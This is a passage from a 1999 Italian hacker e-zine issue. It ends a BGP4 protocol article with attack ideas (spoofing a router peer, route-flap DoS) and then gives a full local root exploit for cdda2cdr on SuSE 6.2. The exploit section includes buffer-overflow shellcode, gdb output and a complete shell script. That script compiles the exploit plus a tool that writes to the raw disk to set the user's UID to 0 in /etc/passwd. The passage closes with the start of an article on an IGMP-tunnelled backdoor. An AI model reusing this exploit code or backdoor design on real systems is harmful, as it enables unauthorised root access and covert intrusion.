gestione sicura dei segmenti TCP nel corso di sessioni BGP per poter ovviare a problemi di hijack e man-in-the-middle. Il messaggio di tipo OPEN deve essere lungo almeno 29 byte compreso l'header del messaggio. [2] Messaggio di tipo UPDATE Questo messaggio viene usato per emanare o ritirare una singola route dal servizio. Puo' farlo anche insieme specificando differenti route. Contiene sempre l'header BGP e puo' anche contenere i seguenti campi opzionali: +-----------------------------------------------------+ | Unfeasible Routes Length (2 octets) | +-----------------------------------------------------+ | Withdrawn Routes (variable) | +-----------------------------------------------------+ | Total Path Attribute Length (2 octets) | +-----------------------------------------------------+ | Path Attributes (variable) | +-----------------------------------------------------+ | Network Layer Reachability Information (variable) | +-----------------------------------------------------+ I primi due ottetti contengono la lunghezza totale in byte del campo successivo e deve permettere di calcolare la lunghezza del NLRI [vedi sotto]. Un valore uguale a 0 indica che nessuna route viene ritirata e che quindi il campo WITHDRAWN ROUTES non e' presente nel messaggio UPDATE. Il campo successivo contiene una lista di prefissi IP codati come una coppia secondo questo schema: +---------------------------+ | Length (1 octet) | +---------------------------+ | Prefix (variable) | +---------------------------+ la lunghezza indica il valore in bit del prefisso IP. Se uguale a 0 specifica tutti gli indirizzi IP. Ad esempio <24, 192.168.1.3> sta per 192.168.1.0/24 secondo la notazione CIDR, o Classless Internet Domain Routing [non trattato in questo articolo]. il prefisso invece l'indirizzo IP da associare ai bit di mascheramento. Segue il campo di lunghezza totale degli attributi di percorso che indica in byte la lunghezza del campo che lo segue. Deve permettere di calcolare anche il NLRI [vedi sotto]. Un valore uguale a 0 indica che non c'e' NLRI. Gli attributi di percorso sono presenti in ogni messaggio di tipo UPDATE. Ogni attributo consta di una tripletta . Il tipo consta di due ottetti, uno per delle flag, e l'altro per il codice vero e proprio: 0 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Attr. Flags |Attr. Type Code| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Il primo bit delle flag e' il bit delle opzioni. Se uguale a 1 il parametro e' opzionale, se uguale a 0 e' invece riconosciuto. Il secondo bit identifica invece se un parametro debba essere propagato o meno, ovvero se sia transitivo, con valore uguale a 1, o non transitivo, con valore uguale a 0. Se il primo e' uguale a 0, il secondo e' sempre uguale a 1. Ovvero i parametri riconosciuti sono sempre transitivi. Il terzo bit specifica se i parametri opzionali e transitivi (11) sia parziale, se uguale a 1, o totale, se uguale a 0. Il quarto specifica se la lunghezza degli attributi sia di un solo ottetto, uguale a 0, o di due, se uguale a 1. Questo quarto bit puo' essere usato solo in caso di lunghezza superiore a 255 byte. Gli ultimi 4 bit non sono utilizzati e devono essere settati a 0. Se il 4 bit e' uguale a 0, allora la lunghezza sara' specificata nel terzo ottetto della tripletta degli attributi; nel quarto se invece sara' uguale a 1. I codici di attributo sono: ORIGIN (Type Code 1) Contiene un valore per identificare la origine del'attributo di percorso. 0 - ottenuto mediante IGP 1 - ottenuto mediante EGP 2 - INCOMPLETO - ottenuto altrimenti AS_PATH (Type Code 2) contiene triplette per indicare le sequenze di percorso in segmenti della rete di AS. La tripletta prende la forma . Il tipo e' un long con questi valori: 1 - AS_SET : set disordinato di AS 2 - AS_SEQUENCE : set ordinato La lunghezza indica il numero di AS, mentre il valore contiene i numeri di AS percorsi. NEXT_HOP (Type Code 3) Indica il prossimo hop da usarsi per arrivare alle destinazioni listate nell'NLRI. MULTI_EXIT_DISC (Type Code 4) Opzionale non transitivo serve per il processo decisionale BGP per scegliere tra diversi punti di uscita verso il vicino AS LOCAL_PREF (Type Code 5) Serve per far conoscere il grado di preferenza del router mittente per una certa route ATOMIC_AGGREGATE (Type Code 6) Di lunghezza 0, serve per informare i peer che il sistema locale ha scelto una route non specifica, o meno, scartandone una piu' specifica contenuta in essa. AGGREGATOR (Type Code 7) Opzionale transitivo, contiene il numero di AS che ha aggregato una route, seguito dal numero di router che ha aggregato. COMMUNITY (Type Code 8) Implementato da Cisco, permette di definire la propagazione delle route al di fuori di comunita' virtuali tra AS o router. ORIGIN ID (Type Code 9) Implementato da Cisco, serve per identificare il router originante di una route dopo una sua riflessione in un AS per evitare doppioni nel caso venisse riflessa anche all'origine. CLUSTER LIST (Type Code 10) Implementato da Cisco, contiene una lista di ID attraversati durante la riflessione di una route al di fuori del cluster di client. Dopo segue l'NLRI. La sua lunghezza viene calcolata sulla base della lunghezza degli altri campi del messaggio UPDATE, secondo questo algoritmo: Lunghezza del messaggio UPDATE - 23 - Path Attributes - Withdrawn Routes dove 23 e' la lunghezza dell'header BGP, e dei due campi che contengono la lunghezza degli attributi e dei WITHDRAWN. Le informazioni sulle destinazioni sono contenute mediante coppie di valori : +---------------------------+ | Length (1 octet) | +---------------------------+ | Prefix (variable) | +---------------------------+ questi due valori sono gli stessi utilizzati anche per rimuovere le route, come visto in precedenza. La lunghezza minima e' di 23 byte come visto prima, 19 per l'header BGP, 2 per Unfeasible Routes Length e 2 per Total Path Attribute Length. Ogni messaggio UPDATE puo' al massimo emanare una sola route, come riportato nel campo dell' NLRI, e puo' descriverla con una serie di attributi. Puo' invece ritirare piu' di una route con il campo Withdrawn Routes. [3] Messaggio di tipo KEEPALIVE BGP non usa il sistema di timeout e retransmission proprio di TCP per gestire e controllare la propria connessione tra peer, ma utilizza questo messaggio per valutare lo stato delle route emanate da ogni peer, prima che il livello di trasporto rilevi dei problemi di rete. I messaggi di tipo KEEPALIVE non devono essere inviati piu' velocemente di uno per secondo, ma devono comunque raggiungere il peer prima che il suo Hold Timer raggiunga la fine. Un valore ragionevole e' un terzo dell' Timer remoto. Se il valore e' stato negoziato uguale a 0, allora i messaggi non devono essere inviati. Questo messaggio consiste del solo header BGP di 19 byte. [4] Messaggio di tipo NOTIFICATION Questo messaggio viene inviato appena venga rilevata una condizione di errore. Dopodiche' la connessione BGP viene conclusa. Oltre all'header BGP, questo messaggio contiene i seguenti dati: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Error code | Error subcode | Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ il codice di errore e' un unsigned int che puo' contenere i seguenti valori: 1 Message Header Error 2 OPEN Message Error 3 UPDATE Message Error 4 Hold Timer Expired 5 Finite State Machine Error 6 Cease il sottocodice contiene dei valori associati ad ognuno dei codici per meglio definire il tipo di errore [un po' come succede nel caso dei pacchetti ICMP]. Se non contiene alcun valore deve essere settato a 0. Ecco i sottocodici assegnati dall'RFC: Message Header Error subcodes: 1 - Connection Not Synchronized. 2 - Bad Message Length. 3 - Bad Message Type. OPEN Message Error subcodes: 1 - Unsupported Version Number. 2 - Bad Peer AS. 3 - Bad BGP Identifier. ' 4 - Unsupported Optional Parameter. 5 - Authentication Failure. 6 - Unacceptable Hold Time. UPDATE Message Error subcodes: 1 - Malformed Attribute List. 2 - Unrecognized Well-known Attribute. 3 - Missing Well-known Attribute. 4 - Attribute Flags Error. 5 - Attribute Length Error. 6 - Invalid ORIGIN Attribute 7 - AS Routing Loop. 8 - Invalid NEXT_HOP Attribute. 9 - Optional Attribute Error. 10 - Invalid Network Field. 11 - Malformed AS_PATH. il campo dati invece contiene elementi necessari per diagnosticare l'errore. Dipende strettamente dal codice e dal sottocodice di errore. Per maggiori informazioni controllare l'RFC di BGP4. -[ B G P 4 : N e g o z i a z i o n e d e l l a V e r s i o n e ]- I dispositivi paritari BGP dispongono della possibilita' di negoziare durante il messaggio OPEN la versione d BGP supportata da entrambi. Nel caso di una versione non supportata, ogni router avra' la versione richiesta dal peer con l'OPEN, quella da lui tentata, quelle ricevute dal peer mediante un NOTIFICATION e quelle disponibili localmente. In questo modo saranno in grado di scegliere una versione comune per la connessione BGP. D'altra parte e' ovvio che future versioni di BGP, per poter supportare la negoziazione della versione, dovranno mantenere l'uso e la conformazione dei messaggi OPEN e NOTIFICATION. -[ B G P 4 : E l a b o r a z i o n e d e i M e s s a g g i U P D A T E ]- Dopo che la connessione TCP sia stata effettuata, i messagi OPEN e KEEPALIVE scambiati, il timer inizializzato, e' possibile ricevere messaggi di tipo UPDATE. Se il messaggio contiene un campo WITHDRAWN ROUTES non vuoto, allora le route precedentemente emanate con quei prefissi IP saranno eliminate da Adj-RIB-In. Dopodiche' il processo decisionale pensera' a cancellare la route dal Local-RIB o a sostituirle con altre possibili. Se il messaggio contiene una route accettabile allora succedera' questo: 1) se la nuova e' identica ad una gia' presente in Adj-RIB-In, allora quella vecchia verra' sostituita e quindi cancellata, costringendo il processo BGP a sostituirla in Local-RIB. 2) se la nuova route fa parte di una precedente contenuta in Adj-RIB-In allora il processo decisionale fara' prevalere la nuova in quanto piu' specifica di quella precedente 3) se la nuova ha uguali attributi ma e' piu' specifica allora non servono altre azioni 4) se la nuova ha un NLRI non presente nelle vecchie route verra' inserita subito nel Adj-RIB-In 5) se la nuova e' una meno specifica di una precedente allora il processo decisionale valutera' solo il set di IP raggiungibili con la nuova route Come funziona questo processo decisionale ? Esso e' suddiviso in tre fasi distinte. Nella prima BGP deve calcolare un livello di preferenza per ogni route disponibile in Adj-RIB-In. Per route interne all'AS spesso il solo parametro LOCAL_PREF verra' usato, altrimenti i parametri di percorso saranno valutati secondo il PIB o Policy Information Base, i cui dati sono a cura di ogni AS. La seconda fase serve per scegliere la route considerata piu' efficiente tra quelle disponibili per ogni destinazione. Dopo averla scelta, per miglior livello di preferenza, od in quanto nuova ed unica route per una destinazione, la porra' in Local-RIB. Esistono comunque delle regole specifiche nel caso diverse route siano in parita' per quanto riguarda la preferenza. Nella terza fase BGP si occupa di valutare Local-RIB per poter ottimizzare secondo le policy dell'AS il Adj-RIB-Out. Nel momento in cui la valutazione di Local-RIB ed il processo di Adj-RIB-Out siano completi, allora potra' avere luogo l'invio di messaggi UPDATE. -[ B G P 4 : C o n s i d e r a z i o n i e p o s s i b i l i f l a w ]- BGP fa parte di quella stregua di protocolli, come SNMP, che non sono subito attaccabili o facilmente exploitabili, ma che permettono, con un po' di astuzia, di poter ottenere interessanti informazioni sulla struttura interna di una rete, o di un sistema autonomo. Non tutte le sessioni BGP sembrano essere autenticate su InterNet ed anzi una buona parte dei router che richiedono l'autenticazione, escono di default con la possibilita' di negoziare verso il basso la versione di BGP, bypassando totalmente ogni sicurezza. Dal momento che il protocollo permette anche ad host non impiegati come router di poter colloquiare con dispositivi BGP, allora potremmo costruire un semplice scanner BGP in grado di trovare router che parlino questo protocollo, portare a termine la sessione OPEN e KEEPALIVE e ricevere allegramente le route gestite o servite da quel router. Inoltre alcuni router non hanno una gestione dell'ISN TCP adeguata ai loro scopi e sono passibili di IP Spoofing alla cieca che puo' permettere ad un attaccante di spacciarsi per un router paritario di un AS vicino, inserendo eventualmente route alternative o creando dei cicli di loop all'interno del sistema autonomo del bersaglio. Quindi magari il nostro scanner potrebbe decidere di tentare un possibile approccio attivo. Per quanto riguarda i DoS, non e' necessario sempre cambiare una route per bloccare un AS. Basta immobilizzare un router o farlo crashare, o mandarne la CPU al 99.9%. Per far questo potrebbe essere interessante inserire il router remoto in una serie di UPDATE e WITHDRAWN che lo porterebbero a forza e costantemente all'interno del processo decisionale, creando non poco sfruttamente di CPU e di banda per gli eventuali UPDATE esterni da Adj-RIB-Out. Questo viene bloccato in maniera sensibile dalla tecnica di smorzamento della route ideato da Cisco, che in pratica assegna una penalita' ad una route ogni volta che passi da un UPDATE ad un WITHDRAWN nell'unita' di tempo. Una volta capito dai NOTIFICATION remoti quale possa essere il numero di penalita' massime prima che la route sia scartata, potremmo inviarne un numero massimo meno 1 per poi passare ad una nuova route, nell'attesa che le propagazioni interne all'AS facciano il loro lavoro. C'e' da chiedersi poi quanto sia precisa l'implementazione nei vari router e dispositivi BGP del protocollo e delle sue funzioni. Probabilmente, come accade per i normali sistemi operativi, c'e' la possibilita' di creare danno remoto mediante pacchetti malformati o valori errati. Un semplice reboot puo' inchiodare un AS con i successivi problemi di ripristino delle sessioni BGP. Queste possibilita' saranno prese in esame nella seconda parte del progetto GiRiNGiRO, con codice sorgente e qualche considerazione piu' specifica. -[C O N C L U S I O N E]- RIPv2, OSPFv2 e BGPv4. Tre importanti e conosciuti protocolli di rete, in realta' abbastanza ignoti ai piu' se non a chi si occupa di installare e gestire router, ed anche in quel caso, spesso solo dal punto di vista della gestione, e non dei meccanismi alla base. Il discorso non e' assolutamente esaurito con questo articolo, anzi. Spero invece di aver messo in luce qualche idea e considerazione, una volta spiegato come questi protocolli siano fatti dal punto di vista dei byte ... Ad ogni modo, come al solito, potete contattarmi via email per domande o per proporre idee o dare consigli. FuSyS [S0ftpj|BFi] fusys@s0ftpj.org ------------------------------------------------- | RFC 1058, 1721, 1723, 1771, 1774, | | 2328, 2385 | | LIBRI Internet Routing Architectures | | Bassam Halabi, Cisco-Press | | TCP/IP Illustrated Vol.1 | | W.R.Stevens, Addison-Wesley | ------------------------------------------------- --------------------------------------------------------- | Onori e squilli di tromba vanno a SMaster: | | scusa il ritardo brotha ! | | ed anche il minimeet mancato ! | --------------------------------------------------------- --------------------------------------------------------- |Greets'n'ShoutOuts*in*no*particular*order:bELF,Nello^Z,| |Kobaiashi,piGpEN,|scacco|,\sPIRIT\,B_Berry,Dold,Cavallo| |del0rean,ins4ne,KaF,|TSuNaMi|,golem,MNeMoNiCo,ZCuL,Slay| |awgn,raptor,LordFelix,ntf,vecna,Nail^d0d,#hackers@afork| |tutti*coloro*non*nominati*xche'*sono*le*5*del*mattino!!| --------------------------------------------------------- ----------------------------------- |#donne&pc*rulezza*nonostante*Koba| |;PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP| ----------------------------------- ============================================================================== ---------------------------------[ EOF 10/22 ]-------------------------------- ============================================================================== BFi-7/BFi07-11100777 1750 144 34727 7031215207 11772 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 11 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ HACKiNG SPiCCi0L0 - FuSyS -----[ Hacking Spicciolo ]----- della serie ---[anche i particolari contano]--- NO(C)1999 FuSyS - [S0ftpj|BFi] Da un po' di tempo a questa parte, bELFaghor, del0rean e io ci stiamo dedicando alla ricerca di exploit locali mediante buffer overflow sullo stack ..... In fondo, se e' vero che scrivere articoli e tool di sicurezza non e' male, e' anche vero che sia comunque necessario trovare flaw ed errori nei sistemi per poterli patchare a dovere. Come ormai sanno anche i sassi, questo tipo di exploit permette di sfruttare alcune caratteristiche dei sistemi UNIX, del linguaggio C e i vari errori di programmazione che infestano molto codice. Se avete letto l'articolo di SirCondor [traduzione ed estensione dell'articolo di Aleph1, tratto dal vol.48 di Phrack], potete iniziare allegramente a codare da voi i vostri BOF. Devo dire che io e bELF ne abbiamo trovati alcuni, anche se purtroppo non erano u+s a root, ma piuttosto ad altri utenti o gruppi. Visto che su securityfocus sono usciti ultimamente alcuni BOF su SuSE 6.1, mi sono deciso ad installare la versione demo distribuita allo SMAU sul mio portatile. Oltre al BOF all'interno di sccw, ho trovato quasi subito un altro overflow in /usr/bin/cdda2cdr. Questo e' uscito anche su SecurityFocus come Linux cwdtools Vulnerability con relativo codice per ottenere sgid disk su SuSE, il che mi ha privato della gioia di essere il primo [anche se in contemporanea]. Ma ho deciso di aggiungere qualcosa ;) .... A questo punto mi sono reso conto di essere stato stupido a considerare alcuni degli overflow precedentemente trovati come inutili. Effettivamente, e questo non viene spesso considerato da molti amministratori di rete, l'ottenere nuovi privilegi rispetto a quelli concessi al proprio utente NON e' un semplice baco. Anzi puo' portare a grossi problemi in termini di DoS o di scalata a root. E questo mi e' balenato in mente con cdda2cdr sulla SuSE 6.2 .... Ma andiamo con ordine. All'inizio, dopo l'installazione, ho eseguito da root: FuZZy:~ # find / -type f \( -perm -04000 -o -perm -02000 \) > suidsgid in modo da poter ottenere tutti file suidati e sgidati del sistema in un comodo file. A questo punto sono partito abbastanza svogliatamente con il controllo di quelli meno noti, in modo da cercare qualche baco utile. Arrivato a cdda2cdr .... : fusys@FuZZy:~ > cdda2cdr -D `perl -e 'print "A" x 100'` cannot stat device AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .... fusys@FuZZy:~ > cdda2cdr -D `perl -e 'print "A" x 500'` Segmentation fault Hmmm. Interessante. Un occhio con gdb e' spesso utile in questi casi: FuZZy:~ # gdb /usr/bin/cdda2cdr GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (no debugging symbols found)... (gdb) run -D `perl -e 'print "A" x 500'` Starting program: /usr/bin/cdda2cdr -D `perl -e 'print "A" x 500'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info all eip eip 0x41414141 0x41414141 (gdb)quit The program is running. Exit anyway? (y or n) y FuZZy:~ # Quindi siamo effettivamente in grado di arrivare fino all' Instruction Pointer. Con un semplice codice, riguardatevi l'articolo di Aleph1 o la traduzione di SirCondor, il BOF era pronto: fusys@FuZZy:~ > ./cdd-xpl cdda2cdr V.0.3alpha (CDR v0.4) Xploit by FuSyS [S0ftpj|BFi] Using address: 0xbffff5a8 sh-2.03$ id uid=100(fusys) gid=100(users) groups=100(users) ?!?! Hmmm ... la shell viene eseguita, ma evidentemente /bin/sh non passa i privilegi. In effetti /bin/sh su SuSE 6.2 e' un link ad una bash 2.03. E dalla pagina man di bash 2.x : If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell func- tions are not inherited from the environment, the SHEL- LOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. Quindi non e' possibile ottenere egid uguale a disk con il 'solito' shellcode che viene utilizzato nella stragrande maggioranza di exploit locali. A questo punto le scelte che ci si prospettano sono essenzialmente due. 1) Beh, piuttosto che perdere tempo nello shellcode, e' meglio far eseguire qualcosa d'altro mediante l'egg invece di /bin/sh : possiamo infatti usare setregid() passandogli lo sgid che cdda2cdr ci permette. int main () { setregid(getegid(), getegid()); system("/bin/bash"); exit(0); } In questo modo potremo settare il nostro real-group-id con l'egid di news, per vedere la nuova istanza di bash regalarci i nuovi permessi. Come fare ? Molto semplicemente compilate il codice suddetto e lanciatelo con ./nome al posto di /bin/sh DIRETTAMENTE all'interno dello shellcode classico. Questo e' il sistema con cui si presentano quasi tutti gli exploit del buon Brock Tellier. 2) Modificare lo shellcode di Aleph1 in modo che possa direttamente chiamare setregid() PRIMA di chiamare execve() ed exit(), per ottenere i privilegi necessari direttamente in bash2 anche senza il parametro -p. Ecco come si presenta lo shellcode cosi' modificato: char bash2shellcode[]="\xeb\x2d\x31\xc0\x31\xdb\x31\xc9\xb3\x06\xb1" "\x06\xb0\x47\xcd\x80\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40" "\xcd\x80\xe8\xce\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; Utilizzando questo, senza nessun codice esterno, potrete ottenere gid disk direttamente con l'exploit, anche su bash2. Cambiando lo shellcode in uno dei due modi suddetti: fusys@FuZZy:~ > ./new-cdd-xpl cdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftpj|BFi] Using address: 0xbffff5a8 bash-2.03$ id uid=100(fusys) gid=6(disk) groups=100(users) Tombola. Abbiamo i permessi. Ma ora ?! Serve o meno avere egid uguale a 6 ? Serve eccome. Con alcuni codici, tipo Inews, possiamo ottenere privilegi utili, ma non direttamente per la scalata a root. Ma in questo caso le cose sono molto differenti ...... Guardiamo un attimo dentro alla directory /dev : fusys@FuZZy:~ > ls -la /dev/ | grep disk ...... brw-rw---- 1 root disk 3, 0 Aug 23 10:00 hda brw-rw---- 1 root disk 3, 1 Aug 23 10:00 hda1 brw-rw---- 1 root disk 3, 10 Aug 23 10:00 hda10 brw-rw---- 1 root disk 3, 11 Aug 23 10:00 hda11 brw-rw---- 1 root disk 3, 12 Aug 23 10:00 hda12 brw-rw---- 1 root disk 3, 13 Aug 23 10:00 hda13 brw-rw---- 1 root disk 3, 14 Aug 23 10:00 hda14 brw-rw---- 1 root disk 3, 15 Aug 23 10:00 hda15 brw-rw---- 1 root disk 3, 2 Aug 23 10:00 hda2 brw-rw---- 1 root disk 3, 3 Aug 23 10:00 hda3 brw-rw---- 1 root disk 3, 4 Aug 23 10:00 hda4 brw-rw---- 1 root disk 3, 5 Aug 23 10:00 hda5 brw-rw---- 1 root disk 3, 6 Aug 23 10:00 hda6 brw-rw---- 1 root disk 3, 7 Aug 23 10:00 hda7 brw-rw---- 1 root disk 3, 8 Aug 23 10:00 hda8 brw-rw---- 1 root disk 3, 9 Aug 23 10:00 hda9 ...... Molto interessante. Casualmente, sul mio portatile: FuZZy:~ # mount /dev/hda1 on / type ext2 (rw) proc on /proc type proc (rw) /dev/hda3 on /usr type ext2 (rw) /dev/hda5 on /home type ext2 (rw) Ed ora ho accesso in scrittura a /dev/hda1 ! Molto bene. Proviamo immediatamente qualcosa di simpatico: bash-2.03$ ed /dev/hda1 6160384 /fusys:x:100/ fusys:x:100:100:FuSyS:/home/fusys:/bin/bash s/100/0/ /fusys:x:/ fusys:x:0:100:FuSyS:/home/fusys:/bin/bash wq 126160382 bash-2.03$ su - fusys FuZZy:~ # id uid=0(root) gid=100(users) groups=100(users) Box compromessa. Certo questo non e' sempre possibile. ed infatti mantiene un file di swap che guarda caso e' lungo come il file da editare. Un bel problema nel caso /etc fosse montata su una partizione molto piu' grande della mia. Quindi bisognerebbe codare un editor di partizioni che possa modificare al volo senza mantenere uno swap. Bisogna ricordare una cosa: la partizione NON e' un file sequenziale, anzi. Non e' proprio un file, anche se con ed possiamo avere accesso in scrittura. Ho preferito modificare il mio uid invece di aggiungere un nuovo utente. Questo infatti porterebbe delle altre modifiche all'interno del file, in quanto le dimensioni del file vengono gestite a livello di inode cui il kernel accede attraverso il VFS, sotto linux, e non in maniera diretta. Se nessuno di voi ha mai usato ed, beh, e' quello da usarsi quando ci si trova in rsh con sh -i come comando da eseguire. O anche meglio sed. Quello che ho fatto e' stato cercare la riga del mio utente nel file delle password, presente in /etc e modificare il mio uid, per poi scrivere le modifiche ed accedere ai nuovi privilegi. Ahhhh ..... adoro Linux e UN!X ..... FuSyS Ecco uno shell script che puo' essere utile per ovviare alla presenza di grandi partizioni. Ho pero' notato che si possono avere problemi se questo codice viene utilizzato piu' e piu' volte sulla stessa partizione. E' effettivamente abbastanza rude. Molto meglio sarebbe cambiare l' i_uid associato all'inode del file delle password. Ho fatto in modo che controllo solo l'interfaccia IDE primaria, niente hda3 e hda4, e niente SCSI. Fa il padding del GECOS solo per UID tra 10 e 999, quindi occhio a nobody e compagnia bella ..... :) fate qualcosa anche voi ;) Un altro lato particolare e' come il cambiamento possa avvenire nel sistema. In alcuni casi, un su - utente dara' subito la shell di root, in altri, bisogna attendere il sync del filesystem per il file in /etc, il reboot del sistem per vedere i nuovi privilegi confermati, o uscire e rientrare come utenti per syncare /etc/passwd ..... Ecco comunque lo shell script per cdda2cdr, con lo shellcode modificato per usare setregid() esterno nel binario sgid. Se volete, cancellatelo ed usate il nuovo shellcode con setregid() interna, invece : ---------- snip ---------- #!/bin/sh # # /usr/bin/cdda2cdr Xploit on SuSE 6.2 # by FuSyS [S0ftPj|BFi] # USERNAME=`whoami` echo "Sto Copiando e Compilando l'Exploit ....." /bin/cat > cdda2cdr-xpl.c << EOF #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 500 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 #define SUID "/usr/bin/cdda2cdr" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff./sgid"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; char comando[512]; printf("\ncdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftPj|BFi]\n"); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); snprintf(comando,511,"%s -D %s", SUID, buff); system(comando); exit(0); } EOF # se non volete usare sgid.c allora usate lo shellcode presentato in questo # articolo. /bin/cat > sgid.c << EOF int main () { setregid(getegid(), getegid()); system("./raw"); exit(0); } EOF /bin/cat > rawdev.c << EOF #include #include #include #include #include #include #include #include #define PASSWD "/etc/passwd" #define MAXBUFF 8*1024 /* * Questo codice accede solo ai dischi dell'interfaccia primaria IDE. * Perche' ? Semplice. Fate qualcosa anche voi =;P */ int main () { struct passwd *r00t; struct stat statbuf; int major, minor; char disk[10]; char buffer[MAXBUFF], target[100]; FILE *fin; r00t = getpwnam(getlogin()); stat(PASSWD, &statbuf); major = statbuf.st_dev>>8; minor = statbuf.st_dev&0xff; snprintf(target, 100, "%s:%s:%i:%i:%s:%s:%s", r00t->pw_name, r00t->pw_passwd, r00t->pw_uid, r00t->pw_gid, r00t->pw_gecos, r00t->pw_dir, r00t->pw_shell); if(major==3) { snprintf(disk,10, "%s%i", ((minor<64)?"/dev/hda":"/dev/hdb"),((minor<64)?minor:(minor-64))); } printf("\nModifico %s passando direttamente da %s\n", PASSWD, disk); usleep(500); if((fin=fopen(disk, "rb+"))==NULL) { printf("Impossibile aprire %s\n", disk); exit(1); } while((fgets(buffer, MAXBUFF, fin))!=NULL) { if(strstr(buffer, target)) { fseek(fin, -1*strlen(buffer), SEEK_CUR); snprintf(target, 100, "%s:%s:0:%i:%s%s:%s:%s", r00t->pw_name, r00t->pw_passwd, r00t->pw_gid, r00t->pw_gecos, (r00t->pw_uid<100)?"x":"xx", r00t->pw_dir, r00t->pw_shell); strncpy(buffer, target, strlen(target)); fputs(buffer, fin); printf("Ora %s ha UID uguale a 0 !\n\n", r00t->pw_name); break; } } fclose(fin); exit(0); } EOF # se usate il mio shellcode allora cancellate anche la compilazione di sgid # oltre al sorgente su riportato /usr/bin/gcc -o cddxpl cdda2cdr-xpl.c /usr/bin/gcc -o sgid sgid.c /usr/bin/gcc -o raw rawdev.c ./cddxpl # decidete voi se eseguire subito un su - utente o aspettare il sync del file # /etc/passwd #/bin/su - $USERNAME ----------- snip ---------- ============================================================================== --------------------------------[ EOF 11/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-12100777 1750 144 76612 7031215207 11772 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 12 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ B0CK - vecna@ircnet Premessa: l'idea cruciale per lo sviluppo di questa backdoor mi e' venuta mentre portavo a casa un etto di prosciutto crudo. [1] * I N T R O D U Z I O N E Di shell remote se ne sono gia' viste due: la prima, scritta da route, e' apparsa su Phrack e la seconda, 007Shell di FuSyS, e' stata pubblicata su BFi4 con realtiva libreria che consentisse l'icmp tunnelling mettendo i dati occultati nel field icmp_data . Il fine principale di queste backdoor e' mandare dati ad un server remoto senza l'utilizzo di connessioni stabili e senza che un normale sniffer possa individuare i dati incapsulati in questi campi, dove normalmente non stanno dei dati. Per quanto belli e utili, questi codici hanno due pecche che, se eliminate, migliorerebbero notevolmente le loro funzionalita'. I problemi che ho individuato sono: 1 - l'ICMP e' oramai filtrato ovunque e quel poco che non viene filtrato e' comunque loggato; 2 - per aumentare l'intracciabilita' e far diminuire i sospetti che si avrebbero vedendo che il solito ip continua a mandare ECHO_REPLY non richiesti, i pacchetti vengono mandati (e mi sembra il minimo :) spoofati. E cosi'... anche se il nostro troiano-server fosse stato previsto per leggere le risposte, non le avrebbe mandate indietro (o almeno non a noi). B0CK risolve entrambi questi problemi :) [2] * S T R U T T U R A E F U N Z I O N A M E N T O Uno dei protocolli piu' supportati, ma meno cagati in assoluto (se ne sente parlare solo dopo l'uscita del DoS "kiss of death" di klepto) e' l'IGMP (Internet Group Management Protocol). Visto il terreno fertile che presenta questo protocollo, mi sono lanciato (in mancanza di dati interessanti sulle RFC) su /usr/include/netinet/igmp.h . La struttura di questo protocollo e': struct igmp { __u8 igmp_type; __u8 igmp_code; __u16 igmp_cksum; struct in_addr igmp_group; }; Mmhhh... 8 bit per il type, 8 bit per il code e 16 per il checksum... Partendo dal presupposto che il checksum non si tocca e che type+code sono troppo piccoli 